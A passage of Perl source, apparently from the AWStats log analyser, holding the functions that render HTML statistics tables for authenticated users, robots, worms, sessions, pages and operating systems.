15163		if ( $max_h > 0 ) {
15164			$bredde_p = int( $BarWidth * $_login_p{$key} / $max_h ) + 1;
15165		}    # use max_h to enable to compare pages with hits
15166		if ( $max_h > 0 ) {
15167			$bredde_h = int( $BarWidth * $_login_h{$key} / $max_h ) + 1;
15168		}
15169		if ( $max_k > 0 ) {
15170			$bredde_k = int( $BarWidth * $_login_k{$key} / $max_k ) + 1;
15171		}
15172		print "<tr><td class=\"aws\">$key</td>";
15173		&HTMLShowUserInfo($key);
15174		if ( $ShowAuthenticatedUsers =~ /P/i ) {
15175			print "<td>"
15176			  . ( $_login_p{$key} ? Format_Number($_login_p{$key}) : "&nbsp;" )
15177			  . "</td>";
15178		}
15179		if ( $ShowAuthenticatedUsers =~ /H/i ) {
15180			print "<td>".Format_Number($_login_h{$key})."</td>";
15181		}
15182		if ( $ShowAuthenticatedUsers =~ /B/i ) {
15183			print "<td>" . Format_Bytes( $_login_k{$key} ) . "</td>";
15184		}
15185		if ( $ShowAuthenticatedUsers =~ /L/i ) {
15186			print "<td>"
15187			  . (
15188				$_login_l{$key}
15189				? Format_Date( $_login_l{$key}, 1 )
15190				: '-'
15191			  )
15192			  . "</td>";
15193		}
15194		print "</tr>\n";
15195		$total_p += $_login_p{$key};
15196		$total_h += $_login_h{$key};
15197		$total_k += $_login_k{$key};
15198		$count++;
15199	}
15200	my $rest_p = $TotalPages - $total_p;
15201	my $rest_h = $TotalHits - $total_h;
15202	my $rest_k = $TotalBytes - $total_k;
15203	if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 )
15204	{    # All other logins
15205		print
15206		  "<tr><td class=\"aws\"><span style=\"color: #$color_other\">"
15207		  . ( $PageDir eq 'rtl' ? "<span dir=\"ltr\">" : "" )
15208		  . "$Message[125]"
15209		  . ( $PageDir eq 'rtl' ? "</span>" : "" )
15210		  . "</span></td>";
15211		&HTMLShowUserInfo('');
15212		if ( $ShowAuthenticatedUsers =~ /P/i ) {
15213			print "<td>" . ( $rest_p ? Format_Number($rest_p) : "&nbsp;" ) . "</td>";
15214		}
15215		if ( $ShowAuthenticatedUsers =~ /H/i ) {
15216			print "<td>".Format_Number($rest_h)."</td>";
15217		}
15218		if ( $ShowAuthenticatedUsers =~ /B/i ) {
15219			print "<td>" . Format_Bytes($rest_k) . "</td>";
15220		}
15221		if ( $ShowAuthenticatedUsers =~ /L/i ) {
15222			print "<td>&nbsp;</td>";
15223		}
15224		print "</tr>\n";
15225	}
15226	&tab_end();
15227}
15228
15229#------------------------------------------------------------------------------
15230# Function:     Prints the robots chart and table
15231# Parameters:   $NewLinkParams, $NewLinkTarget
15232# Input:        -
15233# Output:       HTML
15234# Return:       -
15235#------------------------------------------------------------------------------
15236sub HTMLMainRobots{
15237	my $NewLinkParams = shift;
15238	my $NewLinkTarget = shift;
15239
15240	if ($Debug) { debug( "ShowRobotStats", 2 ); }
15241	print "$Center<a name=\"robots\">&nbsp;</a><br />\n";
15242
15243	my $title = "$Message[53] ($Message[77] $MaxNbOf{'RobotShown'}) &nbsp; - &nbsp; <a href=\""
15244		  . (
15245			$ENV{'GATEWAY_INTERFACE'}
15246			  || !$StaticLinks
15247			? XMLEncode("$AWScript${NewLinkParams}output=allrobots")
15248			: "$StaticLinks.allrobots.$StaticExt"
15249		  )
15250		  . "\"$NewLinkTarget>$Message[80]</a> &nbsp; - &nbsp; <a href=\""
15251		  . (
15252			$ENV{'GATEWAY_INTERFACE'}
15253			  || !$StaticLinks
15254			? XMLEncode("$AWScript${NewLinkParams}output=lastrobots")
15255			: "$StaticLinks.lastrobots.$StaticExt"
15256		  )
15257		  . "\"$NewLinkTarget>$Message[9]</a>";
15258
15259    if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) {
15260       # extend the title to include the added link
15261           $title = "$title &nbsp; - &nbsp; <a href=\"" . (XMLEncode(
15262               "$AddLinkToExternalCGIWrapper" . "?section=ROBOT&baseName=$DirData/$PROG"
15263           . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired"
15264           . "&siteConfig=$SiteConfig" )
15265           . "\"$NewLinkTarget>$Message[179]</a>");
15266    }
15267
15268    &tab_head( "$title", 19, 0, 'robots');
15269
15270    print "<tr bgcolor=\"#$color_TableBGRowTitle\""
15271	  . Tooltip(16) . "><th>"
15272	  . Format_Number(( scalar keys %_robot_h ))
15273	  . " $Message[51]*</th>";
15274	if ( $ShowRobotsStats =~ /H/i ) {
15275		print
15276		  "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>";
15277	}
15278	if ( $ShowRobotsStats =~ /B/i ) {
15279		print
15280		  "<th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>";
15281	}
15282	if ( $ShowRobotsStats =~ /L/i ) {
15283		print "<th width=\"120\">$Message[9]</th>";
15284	}
15285	print "</tr>\n";
15286	my $total_p = my $total_h = my $total_k = my $total_r = 0;
15287	my $count = 0;
15288	&BuildKeyList( $MaxNbOf{'RobotShown'}, $MinHit{'Robot'}, \%_robot_h,
15289		\%_robot_h );
15290	foreach my $key (@keylist) {
15291		print "<tr><td class=\"aws\">"
15292		  . ( $PageDir eq 'rtl' ? "<span dir=\"ltr\">" : "" )
15293		  . ( $RobotsHashIDLib{$key} ? $RobotsHashIDLib{$key} : $key )
15294		  . ( $PageDir eq 'rtl' ? "</span>" : "" ) . "</td>";
15295		if ( $ShowRobotsStats =~ /H/i ) {
15296			print "<td>"
15297			  . Format_Number(( $_robot_h{$key} - $_robot_r{$key} ))
15298			  . ( $_robot_r{$key} ? "+$_robot_r{$key}" : "" ) . "</td>";
15299		}
15300		if ( $ShowRobotsStats =~ /B/i ) {
15301			print "<td>" . Format_Bytes( $_robot_k{$key} ) . "</td>";
15302		}
15303		if ( $ShowRobotsStats =~ /L/i ) {
15304			print "<td>"
15305			  . (
15306				$_robot_l{$key}
15307				? Format_Date( $_robot_l{$key}, 1 )
15308				: '-'
15309			  )
15310			  . "</td>";
15311		}
15312		print "</tr>\n";
15313
15314		#$total_p += $_robot_p{$key};
15315		$total_h += $_robot_h{$key};
15316		$total_k += $_robot_k{$key} || 0;
15317		$total_r += $_robot_r{$key} || 0;
15318		$count++;
15319	}
15320
15321	# For bots we need to count Totals
15322	my $TotalPagesRobots =
15323	  0;    #foreach (values %_robot_p) { $TotalPagesRobots+=$_; }
15324	my $TotalHitsRobots = 0;
15325	foreach ( values %_robot_h ) { $TotalHitsRobots += $_; }
15326	my $TotalBytesRobots = 0;
15327	foreach ( values %_robot_k ) { $TotalBytesRobots += $_; }
15328	my $TotalRRobots = 0;
15329	foreach ( values %_robot_r ) { $TotalRRobots += $_; }
15330	my $rest_p = 0;    #$rest_p=$TotalPagesRobots-$total_p;
15331	my $rest_h = $TotalHitsRobots - $total_h;
15332	my $rest_k = $TotalBytesRobots - $total_k;
15333	my $rest_r = $TotalRRobots - $total_r;
15334
15335	if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 || $rest_r > 0 )
15336	{               # All other robots
15337		print
15338"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
15339		if ( $ShowRobotsStats =~ /H/i ) {
15340			print "<td>"
15341			  . Format_Number(( $rest_h - $rest_r ))
15342			  . ( $rest_r ? "+$rest_r" : "" ) . "</td>";
15343		}
15344		if ( $ShowRobotsStats =~ /B/i ) {
15345			print "<td>" . ( Format_Bytes($rest_k) ) . "</td>";
15346		}
15347		if ( $ShowRobotsStats =~ /L/i ) { print "<td>&nbsp;</td>"; }
15348		print "</tr>\n";
15349	}
15350	&tab_end(
15351		"* $Message[156]" . ( $TotalRRobots ? " $Message[157]" : "" ) );
15352}
15353
15354#------------------------------------------------------------------------------
15355# Function:     Prints the worms chart and table
15356# Parameters:   -
15357# Input:        -
15358# Output:       HTML
15359# Return:       -
15360#------------------------------------------------------------------------------
15361sub HTMLMainWorms{
15362	if ($Debug) { debug( "ShowWormsStats", 2 ); }
15363	print "$Center<a name=\"worms\">&nbsp;</a><br />\n";
15364	&tab_head( "$Message[163] ($Message[77] $MaxNbOf{'WormsShown'})",
15365		19, 0, 'worms' );
15366	print "<tr bgcolor=\"#$color_TableBGRowTitle\"" . Tooltip(21) . ">";
15367	print "<th>" . Format_Number(( scalar keys %_worm_h )) . " $Message[164]*</th>";
15368	print "<th>$Message[167]</th>";
15369	if ( $ShowWormsStats =~ /H/i ) {
15370		print
15371		  "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>";
15372	}
15373	if ( $ShowWormsStats =~ /B/i ) {
15374		print
15375		  "<th bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>";
15376	}
15377	if ( $ShowWormsStats =~ /L/i ) {
15378		print "<th width=\"120\">$Message[9]</th>";
15379	}
15380	print "</tr>\n";
15381	my $total_p = my $total_h = my $total_k = 0;
15382	my $count = 0;
15383	&BuildKeyList( $MaxNbOf{'WormsShown'}, $MinHit{'Worm'}, \%_worm_h,
15384		\%_worm_h );
15385	foreach my $key (@keylist) {
15386		print "<tr>";
15387		print "<td class=\"aws\">"
15388		  . ( $PageDir eq 'rtl' ? "<span dir=\"ltr\">" : "" )
15389		  . ( $WormsHashLib{$key} ? $WormsHashLib{$key} : $key )
15390		  . ( $PageDir eq 'rtl' ? "</span>" : "" ) . "</td>";
15391		print "<td class=\"aws\">"
15392		  . ( $PageDir eq 'rtl' ? "<span dir=\"ltr\">" : "" )
15393		  . ( $WormsHashTarget{$key} ? $WormsHashTarget{$key} : $key )
15394		  . ( $PageDir eq 'rtl' ? "</span>" : "" ) . "</td>";
15395		if ( $ShowWormsStats =~ /H/i ) {
15396			print "<td>" . Format_Number($_worm_h{$key}) . "</td>";
15397		}
15398		if ( $ShowWormsStats =~ /B/i ) {
15399			print "<td>" . Format_Bytes( $_worm_k{$key} ) . "</td>";
15400		}
15401		if ( $ShowWormsStats =~ /L/i ) {
15402			print "<td>"
15403			  . (
15404				$_worm_l{$key}
15405				? Format_Date( $_worm_l{$key}, 1 )
15406				: '-'
15407			  )
15408			  . "</td>";
15409		}
15410		print "</tr>\n";
15411
15412		#$total_p += $_worm_p{$key};
15413		$total_h += $_worm_h{$key};
15414		$total_k += $_worm_k{$key} || 0;
15415		$count++;
15416	}
15417
15418	# For worms we need to count Totals
15419	my $TotalPagesWorms =
15420	  0;    #foreach (values %_worm_p) { $TotalPagesWorms+=$_; }
15421	my $TotalHitsWorms = 0;
15422	foreach ( values %_worm_h ) { $TotalHitsWorms += $_; }
15423	my $TotalBytesWorms = 0;
15424	foreach ( values %_worm_k ) { $TotalBytesWorms += $_; }
15425	my $rest_p = 0;    #$rest_p=$TotalPagesRobots-$total_p;
15426	my $rest_h = $TotalHitsWorms - $total_h;
15427	my $rest_k = $TotalBytesWorms - $total_k;
15428
15429	if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 ) { # All other worms
15430		print "<tr>";
15431		print
15432"<td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
15433		print "<td class=\"aws\">-</td>";
15434		if ( $ShowWormsStats =~ /H/i ) {
15435			print "<td>" . Format_Number(($rest_h)) . "</td>";
15436		}
15437		if ( $ShowWormsStats =~ /B/i ) {
15438			print "<td>" . ( Format_Bytes($rest_k) ) . "</td>";
15439		}
15440		if ( $ShowWormsStats =~ /L/i ) { print "<td>&nbsp;</td>"; }
15441		print "</tr>\n";
15442	}
15443	&tab_end("* $Message[158]");
15444}
15445
15446#------------------------------------------------------------------------------
15447# Function:     Prints the sessions chart and table
15448# Parameters:   -
15449# Input:        -
15450# Output:       HTML
15451# Return:       -
15452#------------------------------------------------------------------------------
15453sub HTMLMainSessions{
15454	if ($Debug) { debug( "ShowSessionsStats", 2 ); }
15455	print "$Center<a name=\"sessions\">&nbsp;</a><br />\n";
15456	my $title = "$Message[117]";
15457	&tab_head( $title, 19, 0, 'sessions' );
15458	my $Totals = 0;
15459	my $average_s = 0;
15460	foreach (@SessionsRange) {
15461		$average_s += ( $_session{$_} || 0 ) * $SessionsAverage{$_};
15462		$Totals += $_session{$_} || 0;
15463	}
15464	if ($Totals) { $average_s = int( $average_s / $Totals ); }
15465	else { $average_s = '?'; }
15466	print "<tr bgcolor=\"#$color_TableBGRowTitle\""
15467	  . Tooltip(1)
15468	  . "><th>$Message[10]: ".Format_Number($TotalVisits)." - $Message[96]: ".Format_Number($average_s)." s</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[10]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[15]</th></tr>\n";
15469	$average_s = 0;
15470	my $total_s   = 0;
15471	my $count = 0;
15472	foreach my $key (@SessionsRange) {
15473		my $p = 0;
15474		if ($TotalVisits) {
15475			$p = int( $_session{$key} / $TotalVisits * 1000 ) / 10;
15476		}
15477		$total_s += $_session{$key} || 0;
15478		print "<tr><td class=\"aws\">$key</td>";
15479		print "<td>"
15480		  . ( $_session{$key} ? Format_Number($_session{$key}) : "&nbsp;" ) . "</td>";
15481		print "<td>"
15482		  . ( $_session{$key} ? "$p %" : "&nbsp;" ) . "</td>";
15483		print "</tr>\n";
15484		$count++;
15485	}
15486	my $rest_s = $TotalVisits - $total_s;
15487	if ( $rest_s > 0 ) {    # All others sessions
15488		my $p = 0;
15489		if ($TotalVisits) {
15490			$p = int( $rest_s / $TotalVisits * 1000 ) / 10;
15491		}
15492		print "<tr"
15493		  . Tooltip(20)
15494		  . "><td class=\"aws\"><span style=\"color: #$color_other\">$Message[0]</span></td>";
15495		print "<td>".Format_Number($rest_s)."</td>";
15496		print "<td>" . ( $rest_s ? "$p %" : "&nbsp;" ) . "</td>";
15497		print "</tr>\n";
15498	}
15499	&tab_end();
15500}
15501
15502#------------------------------------------------------------------------------
15503# Function:     Prints the pages chart and table
15504# Parameters:   $NewLinkParams, $NewLinkTarget
15505# Input:        -
15506# Output:       HTML
15507# Return:       -
15508#------------------------------------------------------------------------------
15509sub HTMLMainPages{
15510	my $NewLinkParams = shift;
15511	my $NewLinkTarget = shift;
15512
15513	if ($Debug) {
15514		debug(
15515"ShowPagesStats (MaxNbOf{'PageShown'}=$MaxNbOf{'PageShown'} TotalDifferentPages=$TotalDifferentPages)",
15516			2
15517		);
15518	}
15519	my $regext         = qr/\.(\w{1,6})$/;
15520	print
15521"$Center<a name=\"urls\">&nbsp;</a><a name=\"entry\">&nbsp;</a><a name=\"exit\">&nbsp;</a><br />\n";
15522	my $title =
15523"$Message[19] ($Message[77] $MaxNbOf{'PageShown'}) &nbsp; - &nbsp; <a href=\""
15524	  . (
15525		$ENV{'GATEWAY_INTERFACE'}
15526		  || !$StaticLinks
15527		? XMLEncode("$AWScript${NewLinkParams}output=urldetail")
15528		: "$StaticLinks.urldetail.$StaticExt"
15529	  )
15530	  . "\"$NewLinkTarget>$Message[80]</a>";
15531	if ( $ShowPagesStats =~ /E/i ) {
15532		$title .= " &nbsp; - &nbsp; <a href=\""
15533		  . (
15534			$ENV{'GATEWAY_INTERFACE'}
15535			  || !$StaticLinks
15536			? XMLEncode("$AWScript${NewLinkParams}output=urlentry")
15537			: "$StaticLinks.urlentry.$StaticExt"
15538		  )
15539		  . "\"$NewLinkTarget>$Message[104]</a>";
15540	}
15541	if ( $ShowPagesStats =~ /X/i ) {
15542		$title .= " &nbsp; - &nbsp; <a href=\""
15543		  . (
15544			$ENV{'GATEWAY_INTERFACE'}
15545			  || !$StaticLinks
15546			? XMLEncode("$AWScript${NewLinkParams}output=urlexit")
15547			: "$StaticLinks.urlexit.$StaticExt"
15548		  )
15549		  . "\"$NewLinkTarget>$Message[116]</a>";
15550	}
15551
15552    if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) {
15553       # extend the title to include the added link
15554           $title .= " &nbsp; - &nbsp; <a href=\"" . (XMLEncode(
15555               "$AddLinkToExternalCGIWrapper" . "?section=SIDER&baseName=$DirData/$PROG"
15556           . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired"
15557           . "&siteConfig=$SiteConfig" )
15558           . "\"$NewLinkTarget>$Message[179]</a>");
15559    }
15560
15561	&tab_head( "$title", 19, 0, 'urls' );
15562	print
15563"<tr bgcolor=\"#$color_TableBGRowTitle\"><th>".Format_Number($TotalDifferentPages)." $Message[28]</th>";
15564	if ( $ShowPagesStats =~ /P/i && $LogType ne 'F' ) {
15565		print
15566		  "<th bgcolor=\"#$color_p\" width=\"80\">$Message[29]</th>";
15567	}
15568	if ( $ShowPagesStats =~ /[PH]/i && $LogType eq 'F' ) {
15569		print
15570		  "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>";
15571	}
15572	if ( $ShowPagesStats =~ /B/i ) {
15573		print
15574		  "<th bgcolor=\"#$color_k\" width=\"80\">$Message[106]</th>";
15575	}
15576	if ( $ShowPagesStats =~ /E/i ) {
15577		print
15578		  "<th bgcolor=\"#$color_e\" width=\"80\">$Message[104]</th>";
15579	}
15580	if ( $ShowPagesStats =~ /X/i ) {
15581		print
15582		  "<th bgcolor=\"#$color_x\" width=\"80\">$Message[116]</th>";
15583	}
15584
15585	# Call to plugins' function ShowPagesAddField
15586	foreach
15587	  my $pluginname ( keys %{ $PluginsLoaded{'ShowPagesAddField'} } )
15588	{
15589
15590		#				my $function="ShowPagesAddField_$pluginname('title')";
15591		#				eval("$function");
15592		my $function = "ShowPagesAddField_$pluginname";
15593		&$function('title');
15594	}
15595	print "<th>&nbsp;</th></tr>\n";
15596	my $total_p = my $total_e = my $total_x = my $total_k = 0;
15597	my $max_p   = 1;
15598	my $max_k   = 1;
15599	my $count = 0;
15600	&BuildKeyList( $MaxNbOf{'PageShown'}, $MinHit{'File'}, \%_url_p,
15601		\%_url_p );
15602	foreach my $key (@keylist) {
15603		if ( $_url_p{$key} > $max_p ) { $max_p = $_url_p{$key}; }
15604		if ( $_url_k{$key} / ( $_url_p{$key} || 1 ) > $max_k ) {
15605			$max_k = $_url_k{$key} / ( $_url_p{$key} || 1 );
15606		}
15607	}
15608	foreach my $key (@keylist) {
15609		print "<tr><td class=\"aws\">";
15610		&HTMLShowURLInfo($key);
15611		print "</td>";
15612		my $bredde_p = 0;
15613		my $bredde_e = 0;
15614		my $bredde_x = 0;
15615		my $bredde_k = 0;
15616		if ( $max_p > 0 ) {
15617			$bredde_p =
15618			  int( $BarWidth * ( $_url_p{$key} || 0 ) / $max_p ) + 1;
15619		}
15620		if ( ( $bredde_p == 1 ) && $_url_p{$key} ) { $bredde_p = 2; }
15621		if ( $max_p > 0 ) {
15622			$bredde_e =
15623			  int( $BarWidth * ( $_url_e{$key} || 0 ) / $max_p ) + 1;
15624		}
15625		if ( ( $bredde_e == 1 ) && $_url_e{$key} ) { $bredde_e = 2; }
15626		if ( $max_p > 0 ) {
15627			$bredde_x =
15628			  int( $BarWidth * ( $_url_x{$key} || 0 ) / $max_p ) + 1;
15629		}
15630		if ( ( $bredde_x == 1 ) && $_url_x{$key} ) { $bredde_x = 2; }
15631		if ( $max_k > 0 ) {
15632			$bredde_k =
15633			  int( $BarWidth *
15634				  ( ( $_url_k{$key} || 0 ) / ( $_url_p{$key} || 1 ) ) /
15635				  $max_k ) + 1;
15636		}
15637		if ( ( $bredde_k == 1 ) && $_url_k{$key} ) { $bredde_k = 2; }
15638		if ( $ShowPagesStats =~ /P/i && $LogType ne 'F' ) {
15639			print "<td>".Format_Number($_url_p{$key})."</td>";
15640		}
15641		if ( $ShowPagesStats =~ /[PH]/i && $LogType eq 'F' ) {
15642			print "<td>".Format_Number($_url_p{$key})."</td>";
15643		}
15644		if ( $ShowPagesStats =~ /B/i ) {
15645			print "<td>"
15646			  . (
15647				$_url_k{$key}
15648				? Format_Bytes(
15649					$_url_k{$key} / ( $_url_p{$key} || 1 )
15650				  )
15651				: "&nbsp;"
15652			  )
15653			  . "</td>";
15654		}
15655		if ( $ShowPagesStats =~ /E/i ) {
15656			print "<td>"
15657			  . ( $_url_e{$key} ? Format_Number($_url_e{$key}) : "&nbsp;" ) . "</td>";
15658		}
15659		if ( $ShowPagesStats =~ /X/i ) {
15660			print "<td>"
15661			  . ( $_url_x{$key} ? Format_Number($_url_x{$key}) : "&nbsp;" ) . "</td>";
15662		}
15663
15664		# Call to plugins' function ShowPagesAddField
15665		foreach my $pluginname (
15666			keys %{ $PluginsLoaded{'ShowPagesAddField'} } )
15667		{
15668
15669			#					my $function="ShowPagesAddField_$pluginname('$key')";
15670			#					eval("$function");
15671			my $function = "ShowPagesAddField_$pluginname";
15672			&$function($key);
15673		}
15674		print "<td class=\"aws\">";
15675		if ( $ShowPagesStats =~ /P/i && $LogType ne 'F' ) {
15676			print
15677"<img src=\"$DirIcons\/other\/$BarPng{'hp'}\" width=\"$bredde_p\" height=\"4\""
15678			  . AltTitle("")
15679			  . " /><br />";
15680		}
15681		if ( $ShowPagesStats =~ /[PH]/i && $LogType eq 'F' ) {
15682			print
15683"<img src=\"$DirIcons\/other\/$BarPng{'hh'}\" width=\"$bredde_p\" height=\"4\""
15684			  . AltTitle("")
15685			  . " /><br />";
15686		}
15687		if ( $ShowPagesStats =~ /B/i ) {
15688			print
15689"<img src=\"$DirIcons\/other\/$BarPng{'hk'}\" width=\"$bredde_k\" height=\"4\""
15690			  . AltTitle("")
15691			  . " /><br />";
15692		}
15693		if ( $ShowPagesStats =~ /E/i ) {
15694			print
15695"<img src=\"$DirIcons\/other\/$BarPng{'he'}\" width=\"$bredde_e\" height=\"4\""
15696			  . AltTitle("")
15697			  . " /><br />";
15698		}
15699		if ( $ShowPagesStats =~ /X/i ) {
15700			print
15701"<img src=\"$DirIcons\/other\/$BarPng{'hx'}\" width=\"$bredde_x\" height=\"4\""
15702			  . AltTitle("") . " />";
15703		}
15704		print "</td></tr>\n";
15705		$total_p += $_url_p{$key} || 0;
15706		$total_e += $_url_e{$key} || 0;
15707		$total_x += $_url_x{$key} || 0;
15708		$total_k += $_url_k{$key} || 0;
15709		$count++;
15710	}
15711	my $rest_p = $TotalPages - $total_p;
15712	my $rest_e = $TotalEntries - $total_e;
15713	my $rest_x = $TotalExits - $total_x;
15714	my $rest_k = $TotalBytesPages - $total_k;
15715	if ( $rest_p > 0 || $rest_k > 0 || $rest_e > 0 || $rest_x > 0 )
15716	{    # All other urls
15717		print
15718"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
15719		if ( $ShowPagesStats =~ /P/i && $LogType ne 'F' ) {
15720			print "<td>".Format_Number($rest_p)."</td>";
15721		}
15722		if ( $ShowPagesStats =~ /[PH]/i && $LogType eq 'F' ) {
15723			print "<td>".Format_Number($rest_p)."</td>";
15724		}
15725		if ( $ShowPagesStats =~ /B/i ) {
15726			print "<td>"
15727			  . (
15728				$rest_k
15729				? Format_Bytes( $rest_k / ( $rest_p || 1 ) )
15730				: "&nbsp;"
15731			  )
15732			  . "</td>";
15733		}
15734		if ( $ShowPagesStats =~ /E/i ) {
15735			print "<td>" . ( $rest_e ? Format_Number($rest_e) : "&nbsp;" ) . "</td>";
15736		}
15737		if ( $ShowPagesStats =~ /X/i ) {
15738			print "<td>" . ( $rest_x ? Format_Number($rest_x) : "&nbsp;" ) . "</td>";
15739		}
15740
15741		# Call to plugins' function ShowPagesAddField
15742		foreach my $pluginname (
15743			keys %{ $PluginsLoaded{'ShowPagesAddField'} } )
15744		{
15745
15746			#					my $function="ShowPagesAddField_$pluginname('')";
15747			#					eval("$function");
15748			my $function = "ShowPagesAddField_$pluginname";
15749			&$function('');
15750		}
15751		print "<td>&nbsp;</td></tr>\n";
15752	}
15753	&tab_end();
15754}
15755
15756#------------------------------------------------------------------------------
15757# Function:     Prints the OS chart and table
15758# Parameters:   $NewLinkParams, $NewLinkTarget
15759# Input:        -
15760# Output:       HTML
15761# Return:       -
15762#------------------------------------------------------------------------------
15763sub HTMLMainOS{
15764	my $NewLinkParams = shift;
15765	my $NewLinkTarget = shift;
15766
15767	if ($Debug) { debug( "ShowOSStats", 2 ); }
15768	print "$Center<a name=\"os\">&nbsp;</a><br />\n";
15769	my $Totalh   = 0;
15770	my $Totalp   = 0;
15771	my %new_os_h = ();
15772	my %new_os_p = ();
15773  OSLOOP: foreach my $key ( keys %_os_h ) {
15774		$Totalh += $_os_h{$key};
15775		$Totalp += $_os_p{$key};
15776		foreach my $family ( keys %OSFamily ) {
15777			if ( $key =~ /^$family/i ) {
15778				$new_os_h{"${family}cumul"} += $_os_h{$key};
15779				$new_os_p{"${family}cumul"} += $_os_p{$key};
15780				next OSLOOP;
15781			}
15782		}
15783		$new_os_h{$key} += $_os_h{$key};
15784		$new_os_p{$key} += $_os_p{$key};
15785	}
15786	my $title =
15787"$Message[59] ($Message[77] $MaxNbOf{'OsShown'}) &nbsp; - &nbsp; <a href=\""
15788	  . (
15789		$ENV{'GATEWAY_INTERFACE'}
15790		  || !$StaticLinks
15791		? XMLEncode("$AWScript${NewLinkParams}output=osdetail")
15792		: "$StaticLinks.osdetail.$StaticExt"
15793	  )
15794	  . "\"$NewLinkTarget>$Message[80]/$Message[58]</a> &nbsp; - &nbsp; <a href=\""
15795	  . (
15796		$ENV{'GATEWAY_INTERFACE'}
15797		  || !$StaticLinks
15798		? XMLEncode("$AWScript${NewLinkParams}output=unknownos")
15799		: "$StaticLinks.unknownos.$StaticExt"
15800	  )
15801	  . "\"$NewLinkTarget>$Message[0]</a>";
15802
15803    if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) {
15804       # extend the title to include the added link
15805           $title .= " &nbsp; - &nbsp; <a href=\"" . (XMLEncode(
15806               "$AddLinkToExternalCGIWrapper" . "?section=OS&baseName=$DirData/$PROG"
15807           . "&month=$MonthRequired&year=$YearRequired&day=$DayRequired"
15808           . "&siteConfig=$SiteConfig" )
15809           . "\"$NewLinkTarget>$Message[179]</a>");
15810    }
15811
15812	&tab_head( "$title", 19, 0, 'os' );
15813
15814	&BuildKeyList( $MaxNbOf{'OsShown'}, $MinHit{'Os'}, \%new_os_h,
15815		\%new_os_p );
15816
15817	# Graph the top five in a pie chart
15818	if (scalar @keylist > 1){
15819		foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowGraph'} } )
15820		{
15821			my @blocklabel = ();
15822			my @valdata = ();
15823			my @valcolor = ($color_p);
15824			my $cnt = 0;
15825			foreach my $key (@keylist) {
15826				push @valdata, int(  $new_os_h{$key} / $Totalh * 1000 ) / 10;
15827				if ($key eq 'Unknown'){push @blocklabel, "$key"; }
15828				else{
15829					my $keywithoutcumul = $key;
15830					$keywithoutcumul =~ s/cumul$//i;
15831					my $libos = $OSHashLib{$keywithoutcumul}
15832					  || $keywithoutcumul;
15833					my $nameicon = $keywithoutcumul;
15834					$nameicon =~ s/[^\w]//g;
15835					if ( $OSFamily{$keywithoutcumul} ) {
15836						$libos = $OSFamily{$keywithoutcumul};
15837					}
15838					push @blocklabel, "$libos";
15839				}
15840				$cnt++;
15841				if ($cnt > 4) { last; }
15842			}
15843			print "<tr><td colspan=\"5\">";
15844			my $function = "ShowGraph_$pluginname";
15845			&$function(
15846				"Top 5 Operating Systems",       "oss",
15847				0, 						\@blocklabel,
15848				0,           			\@valcolor,
15849				0,              		0,
15850				0,          			\@valdata
15851			);
15852			print "</td></tr>";
15853		}
15854	}
15855
15856	print
15857"<tr bgcolor=\"#$color_TableBGRowTitle\"><th width=\"$WIDTHCOLICON\">&nbsp;</th><th>$Message[59]</th>";
15858	print
15859"<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th><th bgcolor=\"#$color_p\" width=\"80\">$Message[15]</th>";
15860	print
15861"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th></tr>\n";
15862	my $total_h = 0;
15863	my $total_p = 0;
15864	my $count = 0;
15865
15866	foreach my $key (@keylist) {
15867		my $p_h = '&nbsp;';
15868		my $p_p = '&nbsp;';
15869		if ($Totalh) {
15870			$p_h = int( $new_os_h{$key} / $Totalh * 1000 ) / 10;
15871			$p_h = "$p_h %";
15872		}
15873		if ($Totalp) {
15874			$p_p = int( $new_os_p{$key} / $Totalp * 1000 ) / 10;
15875			$p_p = "$p_p %";
15876		}
15877		if ( $key eq 'Unknown' ) {
15878			print "<tr><td"
15879			  . ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
15880			  . "><img src=\"$DirIcons\/os\/unknown.png\""
15881			  . AltTitle("")
15882			  . " /></td><td class=\"aws\"><span style=\"color: #$color_other\">$Message[0]</span></td>"
15883			  . "<td>".Format_Number($_os_p{$key})."</td><td>$p_p</td><td>".Format_Number($_os_h{$key})."</td><td>$p_h</td></tr>\n";
15884		}
15885		else {
15886			my $keywithoutcumul = $key;
15887			$keywithoutcumul =~ s/cumul$//i;
15888			my $libos = $OSHashLib{$keywithoutcumul}
15889			  || $keywithoutcumul;
15890			my $nameicon = $keywithoutcumul;
15891			$nameicon =~ s/[^\w]//g;
15892			if ( $OSFamily{$keywithoutcumul} ) {
15893				$libos = "<b>" . $OSFamily{$keywithoutcumul} . "</b>";
15894			}
15895			print "<tr><td"
15896			  . ( $count ? "" : " width=\"$WIDTHCOLICON\"" )
15897			  . "><img src=\"$DirIcons\/os\/$nameicon.png\""
15898			  . AltTitle("")
15899			  . " /></td><td class=\"aws\">$libos</td><td>".Format_Number($new_os_p{$key})."</td><td>$p_p</td><td>".Format_Number($new_os_h{$key})."</td><td>$p_h</td></tr>\n";
15900		}
15901		$total_h += $new_os_h{$key};
15902		$total_p += $new_os_p{$key};
15903		$count++;
15904	}
15905	if ($Debug) {
15906		debug( "Total real / shown : $Totalh / $total_h", 2 );
15907	}
15908	my $rest_h = $Totalh - $total_h;
